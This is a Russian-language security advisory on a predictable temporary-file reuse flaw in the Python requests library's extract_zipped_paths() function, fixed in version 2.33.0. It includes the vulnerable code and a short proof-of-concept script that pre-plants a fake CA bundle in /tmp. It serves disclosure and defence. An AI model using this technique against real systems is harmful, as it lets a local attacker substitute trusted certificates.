
Небезопасное повторное использование временных файлов в extract_zipped_paths()
В библиотеке requests (Python) была выявлена уязвимость в общедоступной служебной функции requests.utils.extract_zipped_paths(). Функция использует предсказуемое, неуникальное имя файла при попытке извлечь файлы во временный каталог системы (/tmp) и не проверяет целостность или принадлежность уже существующих файлов.
Хотя стандартное поведение requests в сочетании с certifi смягчается за счёт importlib.resources, эта утилита остаётся угрозой безопасности для приложений-потребителей или пользовательских реализаций, которые полагаются на неё при обработке заархивированных ресурсов.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NФункция requests.utils.extract_zipped_paths() предназначена для извлечения элементов из zip-архива (часто используется для наборов сертификатов CA в средах zipapp). Уязвимая логика работает следующим образом:
basename элемента архива (например, /tmp/cacert.pem).if not os.path.exists(extracted_path) для принятия решения о необходимости извлечения файла.В requests/utils.py логика реализована следующим образом:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
Локальный злоумышленник с низкими привилегиями может воспользоваться этим, заранее создав вредоносный файл (например, поддельный набор сертификатов CA) по предсказуемому пути в /tmp. Когда жертва (требуется взаимодействие с пользователем) запускает приложение, вызывающее эту утилиту:
Следующий скрипт демонстрирует уязвимость, показывая, как утилита повторно использует уже существующий «поддельный» файл вместо легитимного из архива.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
Проблема устранена в версии 2.33.0. Исправление заключается в переходе на importlib.resources для более безопасной обработки заархивированных ресурсов, что обеспечивает извлечение в случайные, непредсказуемые каталоги и исключает повторное использование существующих файлов в общедоступных каталогах с правами записи для всех.